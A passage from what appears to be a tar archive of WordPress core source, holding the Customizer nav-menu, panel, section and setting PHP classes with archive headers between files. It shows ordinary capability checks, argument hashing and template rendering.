/** * Nav menu args used for each instance, keyed by the args HMAC. * * @since 4.3.0 * @var array */ public $preview_nav_menu_instance_args = array(); /** * Filters arguments for dynamic nav_menu selective refresh partials. * * @since 4.5.0 * * @param array|false $partial_args Partial args. * @param string $partial_id Partial ID. * @return array Partial args. */ public function customize_dynamic_partial_args( $partial_args, $partial_id ) { if ( preg_match( '/^nav_menu_instance\[[0-9a-f]{32}\]$/', $partial_id ) ) { if ( false === $partial_args ) { $partial_args = array(); } $partial_args = array_merge( $partial_args, array( 'type' => 'nav_menu_instance', 'render_callback' => array( $this, 'render_nav_menu_partial' ), 'container_inclusive' => true, 'settings' => array(), // Empty because the nav menu instance may relate to a menu or a location. 'capability' => 'edit_theme_options', ) ); } return $partial_args; } /** * Add hooks for the Customizer preview. * * @since 4.3.0 */ public function customize_preview_init() { add_action( 'wp_enqueue_scripts', array( $this, 'customize_preview_enqueue_deps' ) ); add_filter( 'wp_nav_menu_args', array( $this, 'filter_wp_nav_menu_args' ), 1000 ); add_filter( 'wp_nav_menu', array( $this, 'filter_wp_nav_menu' ), 10, 2 ); add_filter( 'wp_footer', array( $this, 'export_preview_data' ), 1 ); add_filter( 'customize_render_partials_response', array( $this, 'export_partial_rendered_nav_menu_instances' ) ); } /** * Make the auto-draft status protected so that it can be queried. * * @since 4.7.0 * * @global array $wp_post_statuses List of post statuses. */ public function make_auto_draft_status_previewable() { global $wp_post_statuses; $wp_post_statuses['auto-draft']->protected = true; } /** * Sanitize post IDs for posts created for nav menu items to be published. * * @since 4.7.0 * * @param array $value Post IDs. * @return array Post IDs. */ public function sanitize_nav_menus_created_posts( $value ) { $post_ids = array(); foreach ( wp_parse_id_list( $value ) as $post_id ) { if ( empty( $post_id ) ) { continue; } $post = get_post( $post_id ); if ( 'auto-draft' !== $post->post_status && 'draft' !== $post->post_status ) { continue; } $post_type_obj = get_post_type_object( $post->post_type ); if ( ! $post_type_obj ) { continue; } if ( ! current_user_can( $post_type_obj->cap->publish_posts ) || ! current_user_can( 'edit_post', $post_id ) ) { continue; } $post_ids[] = $post->ID; } return $post_ids; } /** * Publish the auto-draft posts that were created for nav menu items. * * The post IDs will have been sanitized by already by * `WP_Customize_Nav_Menu_Items::sanitize_nav_menus_created_posts()` to * remove any post IDs for which the user cannot publish or for which the * post is not an auto-draft. * * @since 4.7.0 * * @param WP_Customize_Setting $setting Customizer setting object. */ public function save_nav_menus_created_posts( $setting ) { $post_ids = $setting->post_value(); if ( ! empty( $post_ids ) ) { foreach ( $post_ids as $post_id ) { // Prevent overriding the status that a user may have prematurely updated the post to. $current_status = get_post_status( $post_id ); if ( 'auto-draft' !== $current_status && 'draft' !== $current_status ) { continue; } $target_status = 'attachment' === get_post_type( $post_id ) ? 'inherit' : 'publish'; $args = array( 'ID' => $post_id, 'post_status' => $target_status, ); $post_name = get_post_meta( $post_id, '_customize_draft_post_name', true ); if ( $post_name ) { $args['post_name'] = $post_name; } // Note that wp_publish_post() cannot be used because unique slugs need to be assigned. wp_update_post( wp_slash( $args ) ); delete_post_meta( $post_id, '_customize_draft_post_name' ); } } } /** * Keep track of the arguments that are being passed to wp_nav_menu(). * * @since 4.3.0 * * @see wp_nav_menu() * @see WP_Customize_Widgets::filter_dynamic_sidebar_params() * * @param array $args An array containing wp_nav_menu() arguments. * @return array Arguments. */ public function filter_wp_nav_menu_args( $args ) { /* * The following conditions determine whether or not this instance of * wp_nav_menu() can use selective refreshed. A wp_nav_menu() can be * selective refreshed if... */ $can_partial_refresh = ( // ...if wp_nav_menu() is directly echoing out the menu (and thus isn't manipulating the string after generated), ! empty( $args['echo'] ) && // ...and if the fallback_cb can be serialized to JSON, since it will be included in the placement context data, ( empty( $args['fallback_cb'] ) || is_string( $args['fallback_cb'] ) ) && // ...and if the walker can also be serialized to JSON, since it will be included in the placement context data as well, ( empty( $args['walker'] ) || is_string( $args['walker'] ) ) // ...and if it has a theme location assigned or an assigned menu to display, && ( ! empty( $args['theme_location'] ) || ( ! empty( $args['menu'] ) && ( is_numeric( $args['menu'] ) || is_object( $args['menu'] ) ) ) ) && // ...and if the nav menu would be rendered with a wrapper container element (upon which to attach data-* attributes). ( ! empty( $args['container'] ) || ( isset( $args['items_wrap'] ) && '<' === substr( $args['items_wrap'], 0, 1 ) ) ) ); $args['can_partial_refresh'] = $can_partial_refresh; $exported_args = $args; // Empty out args which may not be JSON-serializable. if ( ! $can_partial_refresh ) { $exported_args['fallback_cb'] = ''; $exported_args['walker'] = ''; } /* * Replace object menu arg with a term_id menu arg, as this exports better * to JS and is easier to compare hashes. */ if ( ! empty( $exported_args['menu'] ) && is_object( $exported_args['menu'] ) ) { $exported_args['menu'] = $exported_args['menu']->term_id; } ksort( $exported_args ); $exported_args['args_hmac'] = $this->hash_nav_menu_args( $exported_args ); $args['customize_preview_nav_menus_args'] = $exported_args; $this->preview_nav_menu_instance_args[ $exported_args['args_hmac'] ] = $exported_args; return $args; } /** * Prepares wp_nav_menu() calls for partial refresh. * * Injects attributes into container element. * * @since 4.3.0 * * @see wp_nav_menu() * * @param string $nav_menu_content The HTML content for the navigation menu. * @param object $args An object containing wp_nav_menu() arguments. * @return string Nav menu HTML with selective refresh attributes added if partial can be refreshed. */ public function filter_wp_nav_menu( $nav_menu_content, $args ) { if ( isset( $args->customize_preview_nav_menus_args['can_partial_refresh'] ) && $args->customize_preview_nav_menus_args['can_partial_refresh'] ) { $attributes = sprintf( ' data-customize-partial-id="%s"', esc_attr( 'nav_menu_instance[' . $args->customize_preview_nav_menus_args['args_hmac'] . ']' ) ); $attributes .= ' data-customize-partial-type="nav_menu_instance"'; $attributes .= sprintf( ' data-customize-partial-placement-context="%s"', esc_attr( wp_json_encode( $args->customize_preview_nav_menus_args ) ) ); $nav_menu_content = preg_replace( '#^(<\w+)#', '$1 ' . str_replace( '\\', '\\\\', $attributes ), $nav_menu_content, 1 ); } return $nav_menu_content; } /** * Hashes (hmac) the nav menu arguments to ensure they are not tampered with when * submitted in the Ajax request. * * Note that the array is expected to be pre-sorted. * * @since 4.3.0 * * @param array $args The arguments to hash. * @return string Hashed nav menu arguments. */ public function hash_nav_menu_args( $args ) { return wp_hash( serialize( $args ) ); } /** * Enqueue scripts for the Customizer preview. * * @since 4.3.0 */ public function customize_preview_enqueue_deps() { wp_enqueue_script( 'customize-preview-nav-menus' ); // Note that we have overridden this. } /** * Exports data from PHP to JS. * * @since 4.3.0 */ public function export_preview_data() { // Why not wp_localize_script? Because we're not localizing, and it forces values into strings. $exports = array( 'navMenuInstanceArgs' => $this->preview_nav_menu_instance_args, ); printf( '<script>var _wpCustomizePreviewNavMenusExports = %s;</script>', wp_json_encode( $exports ) ); } /** * Export any wp_nav_menu() calls during the rendering of any partials. * * @since 4.5.0 * * @param array $response Response. * @return array Response. */ public function export_partial_rendered_nav_menu_instances( $response ) { $response['nav_menu_instance_args'] = $this->preview_nav_menu_instance_args; return $response; } /** * Render a specific menu via wp_nav_menu() using the supplied arguments. * * @since 4.3.0 * * @see wp_nav_menu() * * @param WP_Customize_Partial $partial Partial. * @param array $nav_menu_args Nav menu args supplied as container context. * @return string|false */ public function render_nav_menu_partial( $partial, $nav_menu_args ) { unset( $partial ); if ( ! isset( $nav_menu_args['args_hmac'] ) ) { // Error: missing_args_hmac. return false; } $nav_menu_args_hmac = $nav_menu_args['args_hmac']; unset( $nav_menu_args['args_hmac'] ); ksort( $nav_menu_args ); if ( ! hash_equals( $this->hash_nav_menu_args( $nav_menu_args ), $nav_menu_args_hmac ) ) { // Error: args_hmac_mismatch. return false; } ob_start(); wp_nav_menu( $nav_menu_args ); $content = ob_get_clean(); return $content; } } �������������������������������������������������������������class-wp-customize-panel.php������������������������������������������������������������������������0000644�����������������00000024240�15120262030�0012114 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WordPress Customize Panel classes * * @package WordPress * @subpackage Customize * @since 4.0.0 */ /** * Customize Panel class. * * A UI container for sections, managed by the WP_Customize_Manager. * * @since 4.0.0 * * @see WP_Customize_Manager */ class WP_Customize_Panel { /** * Incremented with each new class instantiation, then stored in $instance_number. * * Used when sorting two instances whose priorities are equal. * * @since 4.1.0 * @var int */ protected static $instance_count = 0; /** * Order in which this instance was created in relation to other instances. * * @since 4.1.0 * @var int */ public $instance_number; /** * WP_Customize_Manager instance. * * @since 4.0.0 * @var WP_Customize_Manager */ public $manager; /** * Unique identifier. * * @since 4.0.0 * @var string */ public $id; /** * Priority of the panel, defining the display order of panels and sections. * * @since 4.0.0 * @var integer */ public $priority = 160; /** * Capability required for the panel. * * @since 4.0.0 * @var string */ public $capability = 'edit_theme_options'; /** * Theme features required to support the panel. * * @since 4.0.0 * @var string|string[] */ public $theme_supports = ''; /** * Title of the panel to show in UI. * * @since 4.0.0 * @var string */ public $title = ''; /** * Description to show in the UI. * * @since 4.0.0 * @var string */ public $description = ''; /** * Auto-expand a section in a panel when the panel is expanded when the panel only has the one section. * * @since 4.7.4 * @var bool */ public $auto_expand_sole_section = false; /** * Customizer sections for this panel. * * @since 4.0.0 * @var array */ public $sections; /** * Type of this panel. * * @since 4.1.0 * @var string */ public $type = 'default'; /** * Active callback. * * @since 4.1.0 * * @see WP_Customize_Section::active() * * @var callable Callback is called with one argument, the instance of * WP_Customize_Section, and returns bool to indicate whether * the section is active (such as it relates to the URL currently * being previewed). */ public $active_callback = ''; /** * Constructor. * * Any supplied $args override class property defaults. * * @since 4.0.0 * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id A specific ID for the panel. * @param array $args { * Optional. Array of properties for the new Panel object. Default empty array. * * @type int $priority Priority of the panel, defining the display order * of panels and sections. Default 160. * @type string $capability Capability required for the panel. * Default `edit_theme_options`. * @type string|string[] $theme_supports Theme features required to support the panel. * @type string $title Title of the panel to show in UI. * @type string $description Description to show in the UI. * @type string $type Type of the panel. * @type callable $active_callback Active callback. * } */ public function __construct( $manager, $id, $args = array() ) { $keys = array_keys( get_object_vars( $this ) ); foreach ( $keys as $key ) { if ( isset( $args[ $key ] ) ) { $this->$key = $args[ $key ]; } } $this->manager = $manager; $this->id = $id; if ( empty( $this->active_callback ) ) { $this->active_callback = array( $this, 'active_callback' ); } self::$instance_count += 1; $this->instance_number = self::$instance_count; $this->sections = array(); // Users cannot customize the $sections array. } /** * Check whether panel is active to current Customizer preview. * * @since 4.1.0 * * @return bool Whether the panel is active to the current preview. */ final public function active() { $panel = $this; $active = call_user_func( $this->active_callback, $this ); /** * Filters response of WP_Customize_Panel::active(). * * @since 4.1.0 * * @param bool $active Whether the Customizer panel is active. * @param WP_Customize_Panel $panel WP_Customize_Panel instance. */ $active = apply_filters( 'customize_panel_active', $active, $panel ); return $active; } /** * Default callback used when invoking WP_Customize_Panel::active(). * * Subclasses can override this with their specific logic, or they may * provide an 'active_callback' argument to the constructor. * * @since 4.1.0 * * @return bool Always true. */ public function active_callback() { return true; } /** * Gather the parameters passed to client JavaScript via JSON. * * @since 4.1.0 * * @return array The array to be exported to the client as JSON. */ public function json() { $array = wp_array_slice_assoc( (array) $this, array( 'id', 'description', 'priority', 'type' ) ); $array['title'] = html_entity_decode( $this->title, ENT_QUOTES, get_bloginfo( 'charset' ) ); $array['content'] = $this->get_content(); $array['active'] = $this->active(); $array['instanceNumber'] = $this->instance_number; $array['autoExpandSoleSection'] = $this->auto_expand_sole_section; return $array; } /** * Checks required user capabilities and whether the theme has the * feature support required by the panel. * * @since 4.0.0 * * @return bool False if theme doesn't support the panel or the user doesn't have the capability. */ final public function check_capabilities() { if ( $this->capability && ! current_user_can( $this->capability ) ) { return false; } if ( $this->theme_supports && ! current_theme_supports( ... (array) $this->theme_supports ) ) { return false; } return true; } /** * Get the panel's content template for insertion into the Customizer pane. * * @since 4.1.0 * * @return string Content for the panel. */ final public function get_content() { ob_start(); $this->maybe_render(); return trim( ob_get_clean() ); } /** * Check capabilities and render the panel. * * @since 4.0.0 */ final public function maybe_render() { if ( ! $this->check_capabilities() ) { return; } /** * Fires before rendering a Customizer panel. * * @since 4.0.0 * * @param WP_Customize_Panel $this WP_Customize_Panel instance. */ do_action( 'customize_render_panel', $this ); /** * Fires before rendering a specific Customizer panel. * * The dynamic portion of the hook name, `$this->id`, refers to * the ID of the specific Customizer panel to be rendered. * * @since 4.0.0 */ do_action( "customize_render_panel_{$this->id}" ); $this->render(); } /** * Render the panel container, and then its contents (via `this->render_content()`) in a subclass. * * Panel containers are now rendered in JS by default, see WP_Customize_Panel::print_template(). * * @since 4.0.0 */ protected function render() {} /** * Render the panel UI in a subclass. * * Panel contents are now rendered in JS by default, see WP_Customize_Panel::print_template(). * * @since 4.1.0 */ protected function render_content() {} /** * Render the panel's JS templates. * * This function is only run for panel types that have been registered with * WP_Customize_Manager::register_panel_type(). * * @since 4.3.0 * * @see WP_Customize_Manager::register_panel_type() */ public function print_template() { ?> <script type="text/html" id="tmpl-customize-panel-<?php echo esc_attr( $this->type ); ?>-content"> <?php $this->content_template(); ?> </script> <script type="text/html" id="tmpl-customize-panel-<?php echo esc_attr( $this->type ); ?>"> <?php $this->render_template(); ?> </script> <?php } /** * An Underscore (JS) template for rendering this panel's container. * * Class variables for this panel class are available in the `data` JS object; * export custom variables by overriding WP_Customize_Panel::json(). * * @see WP_Customize_Panel::print_template() * * @since 4.3.0 */ protected function render_template() { ?> <li id="accordion-panel-{{ data.id }}" class="accordion-section control-section control-panel control-panel-{{ data.type }}"> <h3 class="accordion-section-title" tabindex="0"> {{ data.title }} <span class="screen-reader-text"><?php _e( 'Press return or enter to open this panel' ); ?></span> </h3> <ul class="accordion-sub-container control-panel-content"></ul> </li> <?php } /** * An Underscore (JS) template for this panel's content (but not its container). * * Class variables for this panel class are available in the `data` JS object; * export custom variables by overriding WP_Customize_Panel::json(). * * @see WP_Customize_Panel::print_template() * * @since 4.3.0 */ protected function content_template() { ?> <li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>"> <button class="customize-panel-back" tabindex="-1"><span class="screen-reader-text"><?php _e( 'Back' ); ?></span></button> <div class="accordion-section-title"> <span class="preview-notice"> <?php /* translators: %s: The site/panel title in the Customizer. */ printf( __( 'You are customizing %s' ), '<strong class="panel-title">{{ data.title }}</strong>' ); ?> </span> <# if ( data.description ) { #> <button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false"><span class="screen-reader-text"><?php _e( 'Help' ); ?></span></button> <# } #> </div> <# if ( data.description ) { #> <div class="description customize-panel-description"> {{{ data.description }}} </div> <# } #> <div class="customize-control-notifications-container"></div> </li> <?php } } /** WP_Customize_Nav_Menus_Panel class */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menus-panel.php'; ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-customize-section.php����������������������������������������������������������������������0000644�����������������00000025336�15120262030�0012470 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WordPress Customize Section classes * * @package WordPress * @subpackage Customize * @since 3.4.0 */ /** * Customize Section class. * * A UI container for controls, managed by the WP_Customize_Manager class. * * @since 3.4.0 * * @see WP_Customize_Manager */ class WP_Customize_Section { /** * Incremented with each new class instantiation, then stored in $instance_number. * * Used when sorting two instances whose priorities are equal. * * @since 4.1.0 * @var int */ protected static $instance_count = 0; /** * Order in which this instance was created in relation to other instances. * * @since 4.1.0 * @var int */ public $instance_number; /** * WP_Customize_Manager instance. * * @since 3.4.0 * @var WP_Customize_Manager */ public $manager; /** * Unique identifier. * * @since 3.4.0 * @var string */ public $id; /** * Priority of the section which informs load order of sections. * * @since 3.4.0 * @var integer */ public $priority = 160; /** * Panel in which to show the section, making it a sub-section. * * @since 4.0.0 * @var string */ public $panel = ''; /** * Capability required for the section. * * @since 3.4.0 * @var string */ public $capability = 'edit_theme_options'; /** * Theme features required to support the section. * * @since 3.4.0 * @var string|string[] */ public $theme_supports = ''; /** * Title of the section to show in UI. * * @since 3.4.0 * @var string */ public $title = ''; /** * Description to show in the UI. * * @since 3.4.0 * @var string */ public $description = ''; /** * Customizer controls for this section. * * @since 3.4.0 * @var array */ public $controls; /** * Type of this section. * * @since 4.1.0 * @var string */ public $type = 'default'; /** * Active callback. * * @since 4.1.0 * * @see WP_Customize_Section::active() * * @var callable Callback is called with one argument, the instance of * WP_Customize_Section, and returns bool to indicate whether * the section is active (such as it relates to the URL currently * being previewed). */ public $active_callback = ''; /** * Show the description or hide it behind the help icon. * * @since 4.7.0 * * @var bool Indicates whether the Section's description should be * hidden behind a help icon ("?") in the Section header, * similar to how help icons are displayed on Panels. */ public $description_hidden = false; /** * Constructor. * * Any supplied $args override class property defaults. * * @since 3.4.0 * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id A specific ID of the section. * @param array $args { * Optional. Array of properties for the new Section object. Default empty array. * * @type int $priority Priority of the section, defining the display order * of panels and sections. Default 160. * @type string $panel The panel this section belongs to (if any). * Default empty. * @type string $capability Capability required for the section. * Default 'edit_theme_options' * @type string|string[] $theme_supports Theme features required to support the section. * @type string $title Title of the section to show in UI. * @type string $description Description to show in the UI. * @type string $type Type of the section. * @type callable $active_callback Active callback. * @type bool $description_hidden Hide the description behind a help icon, * instead of inline above the first control. * Default false. * } */ public function __construct( $manager, $id, $args = array() ) { $keys = array_keys( get_object_vars( $this ) ); foreach ( $keys as $key ) { if ( isset( $args[ $key ] ) ) { $this->$key = $args[ $key ]; } } $this->manager = $manager; $this->id = $id; if ( empty( $this->active_callback ) ) { $this->active_callback = array( $this, 'active_callback' ); } self::$instance_count += 1; $this->instance_number = self::$instance_count; $this->controls = array(); // Users cannot customize the $controls array. } /** * Check whether section is active to current Customizer preview. * * @since 4.1.0 * * @return bool Whether the section is active to the current preview. */ final public function active() { $section = $this; $active = call_user_func( $this->active_callback, $this ); /** * Filters response of WP_Customize_Section::active(). * * @since 4.1.0 * * @param bool $active Whether the Customizer section is active. * @param WP_Customize_Section $section WP_Customize_Section instance. */ $active = apply_filters( 'customize_section_active', $active, $section ); return $active; } /** * Default callback used when invoking WP_Customize_Section::active(). * * Subclasses can override this with their specific logic, or they may provide * an 'active_callback' argument to the constructor. * * @since 4.1.0 * * @return true Always true. */ public function active_callback() { return true; } /** * Gather the parameters passed to client JavaScript via JSON. * * @since 4.1.0 * * @return array The array to be exported to the client as JSON. */ public function json() { $array = wp_array_slice_assoc( (array) $this, array( 'id', 'description', 'priority', 'panel', 'type', 'description_hidden' ) ); $array['title'] = html_entity_decode( $this->title, ENT_QUOTES, get_bloginfo( 'charset' ) ); $array['content'] = $this->get_content(); $array['active'] = $this->active(); $array['instanceNumber'] = $this->instance_number; if ( $this->panel ) { /* translators: ▸ is the unicode right-pointing triangle. %s: Section title in the Customizer. */ $array['customizeAction'] = sprintf( __( 'Customizing ▸ %s' ), esc_html( $this->manager->get_panel( $this->panel )->title ) ); } else { $array['customizeAction'] = __( 'Customizing' ); } return $array; } /** * Checks required user capabilities and whether the theme has the * feature support required by the section. * * @since 3.4.0 * * @return bool False if theme doesn't support the section or user doesn't have the capability. */ final public function check_capabilities() { if ( $this->capability && ! current_user_can( $this->capability ) ) { return false; } if ( $this->theme_supports && ! current_theme_supports( ... (array) $this->theme_supports ) ) { return false; } return true; } /** * Get the section's content for insertion into the Customizer pane. * * @since 4.1.0 * * @return string Contents of the section. */ final public function get_content() { ob_start(); $this->maybe_render(); return trim( ob_get_clean() ); } /** * Check capabilities and render the section. * * @since 3.4.0 */ final public function maybe_render() { if ( ! $this->check_capabilities() ) { return; } /** * Fires before rendering a Customizer section. * * @since 3.4.0 * * @param WP_Customize_Section $this WP_Customize_Section instance. */ do_action( 'customize_render_section', $this ); /** * Fires before rendering a specific Customizer section. * * The dynamic portion of the hook name, `$this->id`, refers to the ID * of the specific Customizer section to be rendered. * * @since 3.4.0 */ do_action( "customize_render_section_{$this->id}" ); $this->render(); } /** * Render the section UI in a subclass. * * Sections are now rendered in JS by default, see WP_Customize_Section::print_template(). * * @since 3.4.0 */ protected function render() {} /** * Render the section's JS template. * * This function is only run for section types that have been registered with * WP_Customize_Manager::register_section_type(). * * @since 4.3.0 * * @see WP_Customize_Manager::render_template() */ public function print_template() { ?> <script type="text/html" id="tmpl-customize-section-<?php echo $this->type; ?>"> <?php $this->render_template(); ?> </script> <?php } /** * An Underscore (JS) template for rendering this section. * * Class variables for this section class are available in the `data` JS object; * export custom variables by overriding WP_Customize_Section::json(). * * @since 4.3.0 * * @see WP_Customize_Section::print_template() */ protected function render_template() { ?> <li id="accordion-section-{{ data.id }}" class="accordion-section control-section control-section-{{ data.type }}"> <h3 class="accordion-section-title" tabindex="0"> {{ data.title }} <span class="screen-reader-text"><?php _e( 'Press return or enter to open this section' ); ?></span> </h3> <ul class="accordion-section-content"> <li class="customize-section-description-container section-meta <# if ( data.description_hidden ) { #>customize-info<# } #>"> <div class="customize-section-title"> <button class="customize-section-back" tabindex="-1"> <span class="screen-reader-text"><?php _e( 'Back' ); ?></span> </button> <h3> <span class="customize-action"> {{{ data.customizeAction }}} </span> {{ data.title }} </h3> <# if ( data.description && data.description_hidden ) { #> <button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false"><span class="screen-reader-text"><?php _e( 'Help' ); ?></span></button> <div class="description customize-section-description"> {{{ data.description }}} </div> <# } #> <div class="customize-control-notifications-container"></div> </div> <# if ( data.description && ! data.description_hidden ) { #> <div class="description customize-section-description"> {{{ data.description }}} </div> <# } #> </li> </ul> </li> <?php } } /** WP_Customize_Themes_Section class */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-themes-section.php'; /** WP_Customize_Sidebar_Section class */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-sidebar-section.php'; /** WP_Customize_Nav_Menu_Section class */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-section.php'; ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-customize-setting.php����������������������������������������������������������������������0000644�����������������00000072106�15120262030�0012476 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WordPress Customize Setting classes * * @package WordPress * @subpackage Customize * @since 3.4.0 */ /** * Customize Setting class. * * Handles saving and sanitizing of settings. * * @since 3.4.0 * * @see WP_Customize_Manager * @link https://developer.wordpress.org/themes/customize-api */ class WP_Customize_Setting { /** * Customizer bootstrap instance. * * @since 3.4.0 * @var WP_Customize_Manager */ public $manager; /** * Unique string identifier for the setting. * * @since 3.4.0 * @var string */ public $id; /** * Type of customize settings. * * @since 3.4.0 * @var string */ public $type = 'theme_mod'; /** * Capability required to edit this setting. * * @since 3.4.0 * @var string|array */ public $capability = 'edit_theme_options'; /** * Theme features required to support the setting. * * @since 3.4.0 * @var string|string[] */ public $theme_supports = ''; /** * The default value for the setting. * * @since 3.4.0 * @var string */ public $default = ''; /** * Options for rendering the live preview of changes in Customizer. * * Set this value to 'postMessage' to enable a custom JavaScript handler to render changes to this setting * as opposed to reloading the whole page. * * @since 3.4.0 * @var string */ public $transport = 'refresh'; /** * Server-side validation callback for the setting's value. * * @since 4.6.0 * @var callable */ public $validate_callback = ''; /** * Callback to filter a Customize setting value in un-slashed form. * * @since 3.4.0 * @var callable */ public $sanitize_callback = ''; /** * Callback to convert a Customize PHP setting value to a value that is JSON serializable. * * @since 3.4.0 * @var callable */ public $sanitize_js_callback = ''; /** * Whether or not the setting is initially dirty when created. * * This is used to ensure that a setting will be sent from the pane to the * preview when loading the Customizer. Normally a setting only is synced to * the preview if it has been changed. This allows the setting to be sent * from the start. * * @since 4.2.0 * @var bool */ public $dirty = false; /** * ID Data. * * @since 3.4.0 * @var array */ protected $id_data = array(); /** * Whether or not preview() was called. * * @since 4.4.0 * @var bool */ protected $is_previewed = false; /** * Cache of multidimensional values to improve performance. * * @since 4.4.0 * @var array */ protected static $aggregated_multidimensionals = array(); /** * Whether the multidimensional setting is aggregated. * * @since 4.4.0 * @var bool */ protected $is_multidimensional_aggregated = false; /** * Constructor. * * Any supplied $args override class property defaults. * * @since 3.4.0 * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id A specific ID of the setting. * Can be a theme mod or option name. * @param array $args { * Optional. Array of properties for the new Setting object. Default empty array. * * @type string $type Type of the setting. Default 'theme_mod'. * @type string $capability Capability required for the setting. Default 'edit_theme_options' * @type string|string[] $theme_supports Theme features required to support the panel. Default is none. * @type string $default Default value for the setting. Default is empty string. * @type string $transport Options for rendering the live preview of changes in Customizer. * Using 'refresh' makes the change visible by reloading the whole preview. * Using 'postMessage' allows a custom JavaScript to handle live changes. * Default is 'refresh'. * @type callable $validate_callback Server-side validation callback for the setting's value. * @type callable $sanitize_callback Callback to filter a Customize setting value in un-slashed form. * @type callable $sanitize_js_callback Callback to convert a Customize PHP setting value to a value that is * JSON serializable. * @type bool $dirty Whether or not the setting is initially dirty when created. * } */ public function __construct( $manager, $id, $args = array() ) { $keys = array_keys( get_object_vars( $this ) ); foreach ( $keys as $key ) { if ( isset( $args[ $key ] ) ) { $this->$key = $args[ $key ]; } } $this->manager = $manager; $this->id = $id; // Parse the ID for array keys. $this->id_data['keys'] = preg_split( '/\[/', str_replace( ']', '', $this->id ) ); $this->id_data['base'] = array_shift( $this->id_data['keys'] ); // Rebuild the ID. $this->id = $this->id_data['base']; if ( ! empty( $this->id_data['keys'] ) ) { $this->id .= '[' . implode( '][', $this->id_data['keys'] ) . ']'; } if ( $this->validate_callback ) { add_filter( "customize_validate_{$this->id}", $this->validate_callback, 10, 3 ); } if ( $this->sanitize_callback ) { add_filter( "customize_sanitize_{$this->id}", $this->sanitize_callback, 10, 2 ); } if ( $this->sanitize_js_callback ) { add_filter( "customize_sanitize_js_{$this->id}", $this->sanitize_js_callback, 10, 2 ); } if ( 'option' === $this->type || 'theme_mod' === $this->type ) { // Other setting types can opt-in to aggregate multidimensional explicitly. $this->aggregate_multidimensional(); // Allow option settings to indicate whether they should be autoloaded. if ( 'option' === $this->type && isset( $args['autoload'] ) ) { self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload'] = $args['autoload']; } } } /** * Get parsed ID data for multidimensional setting. * * @since 4.4.0 * * @return array { * ID data for multidimensional setting. * * @type string $base ID base * @type array $keys Keys for multidimensional array. * } */ final public function id_data() { return $this->id_data; } /** * Set up the setting for aggregated multidimensional values. * * When a multidimensional setting gets aggregated, all of its preview and update * calls get combined into one call, greatly improving performance. * * @since 4.4.0 */ protected function aggregate_multidimensional() { $id_base = $this->id_data['base']; if ( ! isset( self::$aggregated_multidimensionals[ $this->type ] ) ) { self::$aggregated_multidimensionals[ $this->type ] = array(); } if ( ! isset( self::$aggregated_multidimensionals[ $this->type ][ $id_base ] ) ) { self::$aggregated_multidimensionals[ $this->type ][ $id_base ] = array( 'previewed_instances' => array(), // Calling preview() will add the $setting to the array. 'preview_applied_instances' => array(), // Flags for which settings have had their values applied. 'root_value' => $this->get_root_value( array() ), // Root value for initial state, manipulated by preview and update calls. ); } if ( ! empty( $this->id_data['keys'] ) ) { // Note the preview-applied flag is cleared at priority 9 to ensure it is cleared before a deferred-preview runs. add_action( "customize_post_value_set_{$this->id}", array( $this, '_clear_aggregated_multidimensional_preview_applied_flag' ), 9 ); $this->is_multidimensional_aggregated = true; } } /** * Reset `$aggregated_multidimensionals` static variable. * * This is intended only for use by unit tests. * * @since 4.5.0 * @ignore */ static public function reset_aggregated_multidimensionals() { self::$aggregated_multidimensionals = array(); } /** * The ID for the current site when the preview() method was called. * * @since 4.2.0 * @var int */ protected $_previewed_blog_id; /** * Return true if the current site is not the same as the previewed site. * * @since 4.2.0 * * @return bool If preview() has been called. */ public function is_current_blog_previewed() { if ( ! isset( $this->_previewed_blog_id ) ) { return false; } return ( get_current_blog_id() === $this->_previewed_blog_id ); } /** * Original non-previewed value stored by the preview method. * * @see WP_Customize_Setting::preview() * @since 4.1.1 * @var mixed */ protected $_original_value; /** * Add filters to supply the setting's value when accessed. * * If the setting already has a pre-existing value and there is no incoming * post value for the setting, then this method will short-circuit since * there is no change to preview. * * @since 3.4.0 * @since 4.4.0 Added boolean return value. * * @return bool False when preview short-circuits due no change needing to be previewed. */ public function preview() { if ( ! isset( $this->_previewed_blog_id ) ) { $this->_previewed_blog_id = get_current_blog_id(); } // Prevent re-previewing an already-previewed setting. if ( $this->is_previewed ) { return true; } $id_base = $this->id_data['base']; $is_multidimensional = ! empty( $this->id_data['keys'] ); $multidimensional_filter = array( $this, '_multidimensional_preview_filter' ); /* * Check if the setting has a pre-existing value (an isset check), * and if doesn't have any incoming post value. If both checks are true, * then the preview short-circuits because there is nothing that needs * to be previewed. */ $undefined = new stdClass(); $needs_preview = ( $undefined !== $this->post_value( $undefined ) ); $value = null; // Since no post value was defined, check if we have an initial value set. if ( ! $needs_preview ) { if ( $this->is_multidimensional_aggregated ) { $root = self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value']; $value = $this->multidimensional_get( $root, $this->id_data['keys'], $undefined ); } else { $default = $this->default; $this->default = $undefined; // Temporarily set default to undefined so we can detect if existing value is set. $value = $this->value(); $this->default = $default; } $needs_preview = ( $undefined === $value ); // Because the default needs to be supplied. } // If the setting does not need previewing now, defer to when it has a value to preview. if ( ! $needs_preview ) { if ( ! has_action( "customize_post_value_set_{$this->id}", array( $this, 'preview' ) ) ) { add_action( "customize_post_value_set_{$this->id}", array( $this, 'preview' ) ); } return false; } switch ( $this->type ) { case 'theme_mod': if ( ! 